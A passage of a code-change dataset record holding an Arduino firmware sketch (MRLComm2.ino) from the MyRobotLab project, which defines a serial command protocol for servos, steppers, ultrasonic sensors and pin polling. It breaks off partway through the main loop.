21","repos":"MyRobotLab\/myrobotlab,MyRobotLab\/myrobotlab,MyRobotLab\/myrobotlab,MyRobotLab\/myrobotlab,MyRobotLab\/myrobotlab,MyRobotLab\/myrobotlab,MyRobotLab\/myrobotlab","old_file":"src\/resource\/Arduino\/MRLComm2.ino","new_file":"src\/resource\/Arduino\/MRLComm2.ino","new_contents":"\/**\n*\n* @author GroG (at) myrobotlab.org\n*\n* This file is part of MyRobotLab.\n*\n* Enjoy !\n*\n* MRLComm.ino\n* -----------------\n* Purpose: support servos, sensors, analog & digital polling\n* oscope, motors, range sensors, pingdar & steppers.\n*\n* Requirements: MyRobotLab running on a computer & a serial connection\n*\n*\/\n\n#include <Servo.h>\n#define MRLCOMM_VERSION\t\t\t\t21\n\n\/\/ serial protocol functions\n#define MAGIC_NUMBER \t\t\t\t\t170 \/\/ 10101010\n\n\/\/ ----- MRLCOMM FUNCTION GENERATED INTERFACE BEGIN -----------\n\/\/\/\/\/ INO GENERATED DEFINITION BEGIN \/\/\/\/\/\/\n\/\/ {publishMRLCommError Integer} \n#define PUBLISH_MRLCOMM_ERROR\t\t1\n\n\/\/ {getVersion} \n#define GET_VERSION\t\t2\n\n\/\/ {publishVersion Integer} \n#define PUBLISH_VERSION\t\t3\n\n\/\/ {analogReadPollingStart Integer} \n#define ANALOG_READ_POLLING_START\t\t4\n\n\/\/ {analogReadPollingStop Integer} \n#define ANALOG_READ_POLLING_STOP\t\t5\n\n\/\/ {analogWrite Integer Integer} \n#define ANALOG_WRITE\t\t6\n\n\/\/ {digitalReadPollingStart Integer} \n#define DIGITAL_READ_POLLING_START\t\t7\n\n\/\/ {digitalReadPollingStop Integer} \n#define DIGITAL_READ_POLLING_STOP\t\t8\n\n\/\/ {digitalWrite Integer Integer} \n#define DIGITAL_WRITE\t\t9\n\n\/\/ {motorAttach String String Integer Integer Integer} \n#define MOTOR_ATTACH\t\t10\n\n\/\/ {motorDetach String} \n#define MOTOR_DETACH\t\t11\n\n\/\/ {motorMove String} \n#define MOTOR_MOVE\t\t12\n\n\/\/ {motorMoveTo String double} \n#define MOTOR_MOVE_TO\t\t13\n\n\/\/ {pinMode Integer Integer} \n#define PIN_MODE\t\t14\n\n\/\/ {publishCustomMsg Integer} \n#define PUBLISH_CUSTOM_MSG\t\t15\n\n\/\/ {publishLoadTimingEvent Long} \n#define PUBLISH_LOAD_TIMING_EVENT\t\t16\n\n\/\/ {publishPin Pin} \n#define PUBLISH_PIN\t\t17\n\n\/\/ {publishPulse Integer} \n#define PUBLISH_PULSE\t\t18\n\n\/\/ {publishServoEvent Integer} \n#define PUBLISH_SERVO_EVENT\t\t19\n\n\/\/ {publishSesorData SensorData} \n#define PUBLISH_SESOR_DATA\t\t20\n\n\/\/ {publishStepperEvent StepperData} \n#define PUBLISH_STEPPER_EVENT\t\t21\n\n\/\/ {publishTrigger Pin} \n#define PUBLISH_TRIGGER\t\t22\n\n\/\/ {pulseIn int int int String} \n#define PULSE_IN\t\t23\n\n\/\/ {sensorAttach String} \n#define SENSOR_ATTACH\t\t24\n\n\/\/ {sensorPollingStart String int} \n#define SENSOR_POLLING_START\t\t25\n\n\/\/ {sensorPollingStop String} \n#define SENSOR_POLLING_STOP\t\t26\n\n\/\/ {servoAttach Servo Integer} \n#define SERVO_ATTACH\t\t27\n\n\/\/ {servoDetach Servo} \n#define SERVO_DETACH\t\t28\n\n\/\/ {servoSweepStart String int int int} \n#define SERVO_SWEEP_START\t\t29\n\n\/\/ {servoSweepStop String} \n#define SERVO_SWEEP_STOP\t\t30\n\n\/\/ {servoWrite String Integer} \n#define SERVO_WRITE\t\t31\n\n\/\/ {servoWriteMicroseconds String Integer} \n#define SERVO_WRITE_MICROSECONDS\t\t32\n\n\/\/ {setDebounce int} \n#define SET_DEBOUNCE\t\t33\n\n\/\/ {setDigitalTriggerOnly Boolean} \n#define SET_DIGITAL_TRIGGER_ONLY\t\t34\n\n\/\/ {setLoadTimingEnabled boolean} \n#define SET_LOAD_TIMING_ENABLED\t\t35\n\n\/\/ {setPWMFrequency Integer Integer} \n#define SET_PWMFREQUENCY\t\t36\n\n\/\/ {setSampleRate int} \n#define SET_SAMPLE_RATE\t\t37\n\n\/\/ {setSerialRate int} \n#define SET_SERIAL_RATE\t\t38\n\n\/\/ {setServoEventsEnabled String boolean} \n#define SET_SERVO_EVENTS_ENABLED\t\t39\n\n\/\/ {setServoSpeed String Float} \n#define SET_SERVO_SPEED\t\t40\n\n\/\/ {setStepperSpeed Integer} \n#define SET_STEPPER_SPEED\t\t41\n\n\/\/ {setTrigger int int int} \n#define SET_TRIGGER\t\t42\n\n\/\/ {softReset} \n#define SOFT_RESET\t\t43\n\n\/\/ {stepperAttach StepperControl} \n#define STEPPER_ATTACH\t\t44\n\n\/\/ {stepperDetach String} \n#define STEPPER_DETACH\t\t45\n\n\/\/ {stepperMove String Integer} \n#define STEPPER_MOVE\t\t46\n\n\/\/ {stepperReset String} \n#define STEPPER_RESET\t\t47\n\n\/\/ {stepperStep String Integer Integer} \n#define STEPPER_STEP\t\t48\n\n\/\/ {stepperStop String} \n#define STEPPER_STOP\t\t49\n\n\/\/ {stopService} \n#define STOP_SERVICE\t\t50\n\n\/\/\/\/\/ INO GENERATED DEFINITION END \/\/\/\/\/\/\n\n\/\/ ----- MRLCOMM FUNCTION GENERATED INTERFACE END -----------\n\n\n#define STEPPER_EVENT_STOP\t\t\t\t1\n\n#define STEPPER_TYPE_POLOLU \t\t\t1\n\n#define CUSTOM_MSG\t\t\t\t\t\t50\n\n\/\/ servo event types\n#define SERVO_EVENT_STOPPED\t\t\t1\n#define SERVO_EVENT_POSITION_UPDATE \t2\n\n\/\/ error types\n#define ERROR_SERIAL\t\t\t\t\t1\n#define ERROR_UNKOWN_CMD\t\t\t\t2\n\n\/\/ sensor types\n#define SENSOR_ULTRASONIC\t\t\t\t1\n\n\n\/\/ need a method to identify type of board\n\/\/ http:\/\/forum.arduino.cc\/index.php?topic=100557.0\n\n#define COMMUNICATION_RESET\t 252\n#define SOFT_RESET\t\t\t 253\n#define NOP 255\n\n\/\/ ---------- MRLCOMM FUNCTION INTERFACE END -----------\n\n\/\/ MAX definitions\n\/\/ MAX_SERVOS defined by boardtype\/library\n#define PINGDARS_MAX\t\t6\n#define SENSORS_MAX\t\t\t12\n#define STEPPERS_MAX\t\t6\n\n#define MAX_MOTORS 10\n\n#define ECHO_STATE_START 1\n#define ECHO_STATE_TRIG_PULSE_BEGIN 2\n#define ECHO_STATE_TRIG_PULSE_END 3\n#define ECHO_STATE_MIN_PAUSE_PRE_LISTENING 4\n#define ECHO_STATE_LISTENING 5\n#define ECHO_STATE_GOOD_RANGE\t6\n#define ECHO_STATE_TIMEOUT\t7\n\n\/\/ --VENDOR DEFINE SECTION BEGIN--\n\/\/ --VENDOR DEFINE SECTION END--\n\n\/\/ FIXME FIXME FIXME\n\/\/ -- FIXME - modified by board type BEGIN --\n\/\/ Need Arduino to do a hardware abstraction layer\n\/\/ https:\/\/code.google.com\/p\/arduino\/issues\/detail?id=59\n\/\/ AHAAA !! - many defintions in - pins_arduino.h !!!\n\/\/ Need a \"board\" identifier at least !!!\n\n#define ANALOG_PIN_COUNT 16 \/\/ mega\n#define DIGITAL_PIN_COUNT 54 \/\/ mega\n\/\/ #define MAX_SERVOS 48 - is defined @ compile time !!\n\/\/ -- FIXME - modified by board type END --\n\n#define ARDUINO_TYPE_INT 16; \/\/ :) type identifier - not size - but what the hell ;)\n\n\/*\n* TODO - CRC for last byte\n* getCommand - retrieves a command message\n* inbound and outbound messages are the same format, the following represents a basic message\n* format\n*\n* MAGIC_NUMBER|NUM_BYTES|FUNCTION|DATA0|DATA1|....|DATA(N)\n* NUM_BYTES - is the number of bytes after NUM_BYTES to the end\n*\n*\/\n\nint msgSize = 0; \/\/ the NUM_BYTES of current message\n\nunsigned int debounceDelay = 50; \/\/ in ms\nlong lastDebounceTime[DIGITAL_PIN_COUNT];\nbyte msgBuf[64];\n\ntypedef struct\n {\n int type;\n int trigPin;\n int echoPin;\n bool isRunning;\n int timeoutUS;\n unsigned long ts;\n unsigned long lastValue;\n int state;\n \/\/NewPing* ping;\n } sensor_type;\n\nsensor_type sensors[SENSORS_MAX];\n\ntypedef struct\n {\n \t int ts;\n int type;\n int index;\n int currentPos;\n int targetPos;\n int speed;\n int dir;\n bool isRunning;\n int state;\n \/\/ int dirPin;\n int step0; \/\/ step0 is dirPin is POLOLU TYPE\n int step1;\n int step2;\n int step3;\n } stepper_type;\n\nstepper_type steppers[STEPPERS_MAX];\n\n\/\/ Servos\ntypedef struct\n{\n Servo* servo;\n int index; \/\/ index of this servo\n int speed;\n int targetPos;\n int currentPos;\n bool isMoving;\n\n int step; \/\/ affects speed usually 1\n\n \/\/ sweep related\n int min;\n int max;\n \/\/ int delay; - related to speed\n int increment;\n bool isSweeping;\n\n \/\/ event related\n bool eventsEnabled;\n} servo_type;\n\n\nservo_type servos[MAX_SERVOS];\n\n\/\/ Motors\ntypedef struct\n{\n int index; \/\/ index of this motor\n int speed;\n int targetPos;\n int currentPos;\n bool isMoving;\n\n int step; \/\/ affects speed usually 1\n\n \/\/ sweep related\n int min;\n int max;\n \/\/ int delay; - related to speed\n int increment;\n bool isSweeping;\n\n \/\/ event related\n bool eventsEnabled;\n} motor_type;\n\nmotor_type motors[MAX_MOTORS];\n\nunsigned long loopCount = 0;\nunsigned long lastMicros \t= 0;\nint byteCount = 0;\nunsigned char newByte \t\t= 0;\nunsigned char ioCmd[64]; \/\/ message buffer for all inbound messages\nint readValue;\n\n\/\/ FIXME - normalize with sampleRate ..\nint loadTimingModulus = 1000;\n\nboolean loadTimingEnabled = false;\nunsigned long loadTime = 0;\n\/\/ TODO - avg load time\n\nunsigned int sampleRate = 1; \/\/ 1 - 65,535 modulus of the loopcount - allowing you to sample less\n\nint digitalReadPin[DIGITAL_PIN_COUNT]; \/\/ array of pins to read from\nint digitalReadPollingPinCount = 0; \/\/ number of pins currently reading\nint lastDigitalInputValue[DIGITAL_PIN_COUNT]; \/\/ array of last input values\nbool digitalTriggerOnly\t= false; \/\/ send data back only if its different\n\nint analogReadPin[ANALOG_PIN_COUNT]; \/\/ array of pins to read from\nint analogReadPollingPinCount = 0; \/\/ number of pins currently reading\nint lastAnalogInputValue[ANALOG_PIN_COUNT]; \/\/ array of last input values\nbool analogTriggerOnly = false; \/\/ send data back only if its different\n\nunsigned int errorCount = 0;\n\n\/\/---- data record definitions begin -----\n\n\n\/\/ TODO - all well and good .. but you dont control Servo's data (yet)\n\/\/ should have a struct for it too - contains all the data info you'd want to have\n\/\/ in a servo - same with stepper\n\ntypedef struct\n {\n int servoIndex; \/\/ id of servo in servos array\n \/\/int servoPos; in servo\n int sensorIndex;\n int sweepMin;\n int sweepMax;\n int step;\n bool isRunning; \/\/ needed ? - is combo of two\n } pingdar_type;\n\npingdar_type pingdars[PINGDARS_MAX];\n\/\/===custom msg interface begin===\n\tbyte customParams[256];\n\tint paramBuffIndex;\n\tint paramCnt;\n\/\/===custom msg interface end===\n\n\n\/* could optimize - but makes for ugly code - just to save a couple clock cycles - counting to 6 :P\nnot worth it\nint pingdarsRunningCount = 0;\nint pingdarsRunning[6]; \/\/ map array of running pingdars\n*\/\n\nvoid sendServoEvent(servo_type& s, int eventType);\nunsigned long getUltrasonicRange(sensor_type& sensor);\n\/\/ void sendMsg ( int num, ... );\n\n\/\/---- data record definitions end -----\n\nvoid append(const int& data) {\n\t++paramCnt;\n\tcustomParams[paramBuffIndex] = ARDUINO_TYPE_INT;\n\tcustomParams[++paramBuffIndex] = (byte)(data >> 8);\n\tcustomParams[++paramBuffIndex] = ((byte) data & 0xFF);\n\t++paramBuffIndex;\n}\n\nvoid startMsg() {\n}\n\nvoid setup() {\n\tSerial.begin(57600); \/\/ connect to the serial port\n\n\tsoftReset();\n\n\t\/\/ --VENDOR SETUP BEGIN--\n\t\/\/ --VENDOR SETUP END--\n}\n\n\nvoid sendMsg(){\n\n\t\/\/ unbox\n\tSerial.write(MAGIC_NUMBER);\n\tSerial.write(paramBuffIndex + 2); \/\/ = param buff size + FN + paramCnt\n\t\/\/Serial.write(2); \/\/ = param buff size + FN + paramCnt\n\tSerial.write(CUSTOM_MSG);\n\tSerial.write(paramCnt);\n\n\tfor (int i = 0; i < paramBuffIndex; ++i){\n\t\tSerial.write(customParams[i]);\n\t}\n\n\tparamCnt = 0;\n\tparamBuffIndex = 0;\n}\n\n\n\nvoid softReset()\n{\n\tfor (int i = 0; i < MAX_SERVOS - 1; ++i)\n\t{\n servo_type& s = servos[i];\n\t\ts.speed = 100;\n if (s.servo != 0){\n\t\t s.servo->detach();\n }\n\t}\n\n\tfor (int j = 0; j < DIGITAL_PIN_COUNT - 1; ++j)\n\t{\n\t\tpinMode(j, OUTPUT);\n\t}\n\n\n\tdigitalReadPollingPinCount = 0;\n\tanalogReadPollingPinCount = 0;\n\tloopCount = 0;\n\n}\n\nvoid setPWMFrequency (int address, int prescalar)\n{\n\tint clearBits = 0x07;\n\tif (address == 0x25)\n\t{\n\t\tTCCR0B &= ~clearBits;\n\t\tTCCR0B |= prescalar;\n\t} else if (address == 0x2E)\n\t{\n\t\tTCCR1B &= ~clearBits;\n\t\tTCCR1B |= prescalar;\n\t} else if (address == 0xA1)\n\t{\n\t\tTCCR2B &= ~clearBits;\n\t\tTCCR2B |= prescalar;\n\t}\n\n}\n\nvoid removeAndShift (int array [], int& len, int removeValue)\n{\n\tint pos = -1;\n\n\tif (len == 0)\n\t{\n\t\treturn;\n\t}\n\n\t\/\/ find position of value\n\tfor (int i = 0; i < len; ++i)\n\t{\n\t\tif (removeValue == array[i])\n\t\t{\n\t\t\tpos = i;\n\t\t\tbreak;\n\t\t}\n\t}\n\t\/\/ if at the end just decrement size\n\tif (pos == len - 1)\n\t{\n\t\t--len;\n\t\treturn;\n\t}\n\n\t\/\/ if found somewhere else shift left\n\tif (pos < len && pos > -1)\n\t{\n\t\tfor (int j = pos; j < len - 1; ++j)\n\t\t{\n\t\t\tarray[j] = array[j+1];\n\t\t}\n\t\t--len;\n\t}\n}\n\nboolean getCommand ()\n{\n\t\/\/ handle serial data begin\n\tif (Serial.available() > 0)\n\t{\n\t\t\/\/ read the incoming byte:\n\t\tnewByte = Serial.read();\n\t\t++byteCount;\n\n\t\t\/\/ checking first byte - beginning of message?\n\t\tif (byteCount == 1 && newByte != MAGIC_NUMBER)\n\t\t{\n\t\t\t++errorCount;\n\t\t\tsendError(ERROR_SERIAL);\n\n\t\t\t\/\/ reset - try again\n\t\t\tbyteCount = 0;\n\t\t\treturn false;\n\t\t}\n\n\t\tif (byteCount == 2)\n\t\t{\n\t\t \/\/ get the size of message\n\t\t \/\/ todo check msg < 64 (MAX_MSG_SIZE)\n\t\t msgSize = newByte;\n\t\t}\n\n\t\tif (byteCount > 2) {\n\t\t \/\/ fill in msg data - (2) headbytes -1 (offset)\n\t\t ioCmd[byteCount - 3] = newByte;\n\t\t}\n\n\t\t\/\/ if received header + msg\n\t\tif (byteCount == 2 + msgSize)\n\t\t{\n return true;\n\t\t}\n\t} \/\/ if Serial.available\n\n\treturn false;\n}\n\nvoid loop () {\n\n\t++loopCount;\n\n\tif (getCommand())\n\t{\n\t\tswitch (ioCmd[0])\n\t\t{\n\n\t\tcase DIGITAL_WRITE:{\n\t\t\tdigitalWrite(ioCmd[1], ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase ANALOG_WRITE:{\n\t\t\tanalogWrite(ioCmd[1], ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase PIN_MODE:{\n\t\t\tpinMode(ioCmd[1], ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_ATTACH:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\ts.index = ioCmd[1];\n\t\t\tif (s.servo == NULL){\n\t\t\t\ts.servo = new Servo();\n\t\t\t}\n\t\t\ts.servo->attach(ioCmd[2]);\n\t\t\ts.step = 1;\n\t\t\ts.eventsEnabled = false;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_SWEEP_START:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\ts.min = ioCmd[2];\n\t\t\ts.max = ioCmd[3];\n\t\t\ts.step = ioCmd[4];\n\t\t\ts.isMoving = true;\n\t\t\ts.isSweeping = true;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_SWEEP_STOP:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\ts.isMoving = false;\n\t\t\ts.isSweeping = false;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_WRITE:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\tif (s.speed == 100 && s.servo != 0)\/\/ move at regular\/full 100% speed\n\t\t\t{\n\t\t\t\ts.targetPos = ioCmd[2];\n\t\t\t\ts.currentPos = ioCmd[2];\n\t\t\t\ts.isMoving = false;\n\t\t\t\ts.servo->write(ioCmd[2]);\n\t\t\t\tif (s.eventsEnabled) sendServoEvent(s, SERVO_EVENT_STOPPED);\n\t\t\t} else if (s.speed < 100 && s.speed > 0) {\n\t\t\t\ts.targetPos = ioCmd[2];\n\t\t\t\ts.isMoving = true;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tcase PUBLISH_SERVO_EVENT:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\ts.eventsEnabled = ioCmd[2];\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_LOAD_TIMING_ENABLED:{\n\t\t\tloadTimingEnabled = ioCmd[1];\n\t\t\t\/\/loadTimingModulus = ioCmd[2];\n\t\t\tloadTimingModulus = 1000;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_WRITE_MICROSECONDS:{\n\t\t\t\/\/ TODO - incorporate into speed control etc\n\t\t\t\/\/ normalize - currently by itself doesn't effect events\n\t\t\t\/\/ nor is it involved in speed control\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\tif (s.servo != 0) {\n\t\t\t\t\/\/ 1500 midpoint\n\t\t\t\ts.servo->writeMicroseconds(ioCmd[2]);\n\t\t\t}\n\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_SERVO_SPEED:{\n\t\t\t\/\/ setting the speed of a servo\n\t\t\tservo_type& servo = servos[ioCmd[1]];\n\t\t\tservo.speed = ioCmd[2];\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_DETACH:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\tif (s.servo != 0){\n\t\t\t s.servo->detach();\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_PWMFREQUENCY:{\n\t\t\tsetPWMFrequency (ioCmd[1], ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase ANALOG_READ_POLLING_START:{\n\t\t\tanalogReadPin[analogReadPollingPinCount] = ioCmd[1]; \/\/ put on polling read list\n\t\t\t\/\/ TODO - if POLLING ALREADY DON'T RE-ADD - MAKE RE-ENTRANT - if already set don't increment\n\t\t\t++analogReadPollingPinCount;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase ANALOG_READ_POLLING_STOP:{\n\t\t\t\/\/ TODO - MAKE RE-ENRANT\n\t\t\tremoveAndShift(analogReadPin, analogReadPollingPinCount, ioCmd[1]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase DIGITAL_READ_POLLING_START:{\n\t\t\t\/\/ TODO - MAKE RE-ENRANT\n\t\t\tdigitalReadPin[digitalReadPollingPinCount] = ioCmd[1]; \/\/ put on polling read list\n\t\t\t++digitalReadPollingPinCount;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase DIGITAL_READ_POLLING_STOP:{\n\t\t\t\/\/ TODO - MAKE RE-ENRANT\n\t\t\tremoveAndShift(digitalReadPin, digitalReadPollingPinCount, ioCmd[1]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_TRIGGER:{\n \/\/ FIXME !!! - you need 1. a complete pin list !!! analog & digital should be defined by attribute not\n \/\/ data structure !!! if (pin.type == ??? if needed\n\t\t\t\/\/ TODO - if POLLING ALREADY DON'T RE-ADD - MAKE RE-ENTRANT\n\t\t\tanalogReadPin[analogReadPollingPinCount] = ioCmd[1]; \/\/ put on polling read list\n\t\t\t++analogReadPollingPinCount;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_DEBOUNCE:{\n\t\t\t\/\/ default debounceDelay = 50;\n\t\t\tdebounceDelay = ((ioCmd[1]<<8) + ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_DIGITAL_TRIGGER_ONLY:{\n\t\t\tdigitalTriggerOnly = ioCmd[1];\n\t\t\tbreak;\n }\n\n\t\tcase SET_SERIAL_RATE:\n\t\t{\n\t\t\tSerial.end();\n\t\t\tdelay(500);\n\t\t\tSerial.begin(ioCmd[1]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase GET_VERSION:{\n\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\tSerial.write(2); \/\/ size\n\t\t\tSerial.write(PUBLISH_VERSION);\n\t\t\tSerial.write((byte)MRLCOMM_VERSION);\n\t\t\tbreak;\n\t\t\t}\n\n\t\tcase PULSE_IN: {\n\t\t \/\/ might need to hack the pulseIn lib - but would\n\t\t \/\/ like to do it without delay\n\t\t\t\/\/ http:\/\/arduino.cc\/en\/Tutorial\/BlinkWithoutDelay\n\t\t\tint trigPin = ioCmd[1];\n\t\t\tint echoPin = ioCmd[2];\n\t\t\t\/\/ TODO - implement HI\/LOW value & timeout & variable delay for trigger\n\n\t\t\tpinMode(trigPin, OUTPUT);\n\t\t\tpinMode(echoPin, INPUT);\n\n\t\t\tdigitalWrite(trigPin, LOW);\n\t\t\tdelayMicroseconds(2);\n\n\t\t\tdigitalWrite(trigPin, HIGH);\n\t\t\tdelayMicroseconds(10);\n\n\t\t\tdigitalWrite(trigPin, LOW);\n\t\t\tunsigned long duration = pulseIn(echoPin, HIGH);\n\n\t\t\t\/\/Calculate the distance (in cm) based on the speed of sound.\n\t\t\t\/\/ distance = duration\/58.2;\n\n\t\t\t\/\/sendMsg(4, ANALOG_VALUE, analogReadPin[i], readValue >> 8, readValue & 0xFF);\n \t\t\t\/\/sendMsg(5, PULSE_IN, duration >> 24, duration >> 16, duration >> 8, duration & 0xFF);\n \t\t\t\/\/sendMsg(6, SENSOR_DATA, 47, duration >> 24, duration >> 16, duration >> 8, duration & 0xFF);\n\n\n\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\tSerial.write(5); \/\/ size 1 FN + 4 bytes of unsigned long\n\t\t\tSerial.write(PULSE_IN);\n \/\/ write the long value out\n\t\t\tSerial.write((byte)(duration >> 24));\n\t\t\tSerial.write((byte)(duration >> 16));\n\t\t\tSerial.write((byte)(duration >> 8));\n\t\t\tSerial.write((byte)duration & 0xFF);\n\n\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_SAMPLE_RATE:{\n\t\t\t\/\/ 2 byte int - valid range 1-65,535\n\t\t\tsampleRate = (ioCmd[1]<<8) + ioCmd[2];\n\t\t\tif (sampleRate == 0)\n\t\t\t\t{ sampleRate = 1; } \/\/ avoid \/0 error - FIXME - time estimate param\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SOFT_RESET:{\n\t\t\tsoftReset();\n\t\t\tbreak;\n\t\t}\n\n\t\tcase STEPPER_ATTACH:{\n\t\t\tstepper_type& stepper = steppers[ioCmd[1]];\n\t\t\tstepper.index = ioCmd[1];\n\t\t\tstepper.type = ioCmd[2];\n\t\t\tstepper.isRunning = false;\n\t\t\tstepper.currentPos = 0;\n\t\t\tstepper.targetPos = 0;\n\t\t\tstepper.dir = 0;\n\t\t\tstepper.speed = 100;\n\n\t\t\tif (stepper.type == STEPPER_TYPE_POLOLU) {\n\t\t\t\tstepper.step0 = ioCmd[3]; \/\/ dir pin\n\t\t\t\tstepper.step1 = ioCmd[4]; \/\/ step pin\n\t\t\t} else {\n\t\t\t\tsendError(ERROR_UNKOWN_CMD);\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tcase STEPPER_RESET:{\n\t\t\tstepper_type& stepper = steppers[ioCmd[1]];\n\t\t\tstepper.isRunning = false;\n\t\t\tstepper.currentPos = 0;\n\t\t\tstepper.targetPos = 0;\n\t\t\tstepper.dir = 0;\n\t\t\tstepper.speed = 100;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase STEPPER_MOVE:{\n\t\t\tstepper_type& stepper = steppers[ioCmd[1]];\n\t\t\tif (stepper.type == STEPPER_TYPE_POLOLU) {\n\t\t\t\tstepper.isRunning = true;\n\n\t\t\t\tstepper.targetPos = stepper.currentPos + (ioCmd[2]<<8) + ioCmd[3];\n\t\t\t\t\/\/ relative position & direction\n\t\t\t\tif (stepper.targetPos < 0) {\n\t\t\t\t\t\/\/ direction\n\t\t\t\t\tdigitalWrite(stepper.step0, 1);\n\t\t\t\t} else {\n\t\t\t\t\tdigitalWrite(stepper.step0, 0);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsendError(ERROR_UNKOWN_CMD);\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tcase STEPPER_STOP:{\n\t\t\tstepper_type& stepper = steppers[ioCmd[1]];\n\t\t\tif (stepper.type == STEPPER_TYPE_POLOLU) {\n\t\t\t\tstepper.isRunning = false;\n\t\t\t\tstepper.targetPos = stepper.currentPos;\n\n\t\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\t\tSerial.write(5); \/\/ size = 1 FN + 1 eventType + 1 index + 1 curPos\n\t\t\t\tSerial.write(PUBLISH_STEPPER_EVENT);\n\t\t\t\tSerial.write(STEPPER_EVENT_STOP);\n\t\t\t\tSerial.write(stepper.index); \/\/ send my index\n\t\t\t\tSerial.write(stepper.currentPos >> 8); \/\/ MSB\n\t\t\t\tSerial.write(stepper.currentPos & 0xFF);\t\/\/ LSB\n\t\t\t} else {\n\t\t\t\tsendError(ERROR_UNKOWN_CMD);\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\t\t\/\/ --VENDOR CODE BEGIN--\n\t\t\t\/\/ --VENDOR CODE END--\n\/\/ not sure if its worth implementing - same info can be retrieved from publish servo event & publish pin\n\/*\n\n\t\tcase PINGDAR_ATTACH:{\n\t\t\tint pingdarIndex = ioCmd[1];\n\t\t\tpingdar_type& pingdar = pingdars[pingdarIndex];\n\t\t\tpingdar.servoIndex = ioCmd[2];\n\t\t\tpingdar.sensorIndex = ioCmd[3];\n\t\t\tpingdar.step = 1;\n\t\t\tbreak;\n\t\t}\n*\/\n\n\t\tcase SENSOR_ATTACH:{\n\t\t\tint sensorIndex = ioCmd[1];\n\t\t\tsensor_type& sensor = sensors[sensorIndex];\n\t\t\tsensor.type = ioCmd[2];\n\n\n\n\t\t\t\/\/ initialize based on sensor type\n\t\t\tif (sensor.type == SENSOR_ULTRASONIC){\n\t\t\t\tsensor.trigPin = ioCmd[3];\n\t\t\t\tsensor.echoPin = ioCmd[4];\n\t\t\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\t\t\tpinMode(sensor.echoPin, INPUT);\n\t\t\t\t\/\/sensor.ping = new NewPing(sensor.trigPin, sensor.echoPin, 100);\n\t\t\t}\n\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SENSOR_POLLING_START:{\n\t\t\tint sensorIndex = ioCmd[1];\n\t\t\tsensor_type& sensor = sensors[sensorIndex];\n\t\t\tsensor.isRunning = true;\n\n\t\t\t\/\/ I'm used to ms - and would need to change some\n\t\t\t\/\/ interfaces if i was to support inbound longs\n\t\t\t\/\/sensor.timeoutUS = ioCmd[2] * 1000;\n\t\t\tsensor.timeoutUS = 20000; \/\/ 20 ms\n\t\t\tsensor.state = ECHO_STATE_START;\n\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SENSOR_POLLING_STOP:{\n\t\t\tint sensorIndex = ioCmd[1];\n\t\t\tsensor_type& sensor = sensors[sensorIndex];\n\t\t\tsensor.isRunning = false;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase NOP:{\n\t\t\t\/\/ No Operation\n\t\t\tbreak;\n\t\t}\n\n\t\tdefault:{\n\t\t sendError(ERROR_UNKOWN_CMD);\n\t\t\tbreak;\n\t\t}\n\t\t} \/\/ end switch\n\n\t\t\/\/ reset buffer\n\t\tmemset(ioCmd,0,sizeof(ioCmd));\n\t\tbyteCount = 0;\n\n\t} \/\/ if getCommand()\n\n\t\/\/ all reads are affected by sample rate\n\tif (loopCount%sampleRate == 0) {\n\t\t\/\/ digital polling read - send data for pins which are currently in INPUT mode only AND whose state has changed\n\t\tfor (int i = 0; i < digitalReadPollingPinCount; ++i)\n\t\t{\n\t\t\tif (debounceDelay)\n\t\t\t{\n\t\t\t if (millis() - lastDebounceTime[digitalReadPin[i]] < debounceDelay)\n\t\t\t {\n\t\t\t continue;\n\t\t\t }\n\t\t\t}\n\n\t\t\t\/\/ FIXME !! - normalize with analog\n\t\t\t\/\/ read the pin\n\t\t\treadValue = digitalRead(digitalReadPin[i]);\n\n\t\t\t\/\/ if my value is different from last time && config - send it\n\t\t\tif (lastDigitalInputValue[digitalReadPin[i]] != readValue || !digitalTriggerOnly)\n\t\t\t{\n\t\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\t\tSerial.write(4); \/\/ size\n\t\t\t\tSerial.write(PUBLISH_PIN);\n\t\t\t\tSerial.write(digitalReadPin[i]);\/\/ Pin#\n\t\t\t\tSerial.write(0); \t\/\/ MSB\n\t\t\t\tSerial.write(readValue); \t\/\/ LSB\n\n\t\t\t 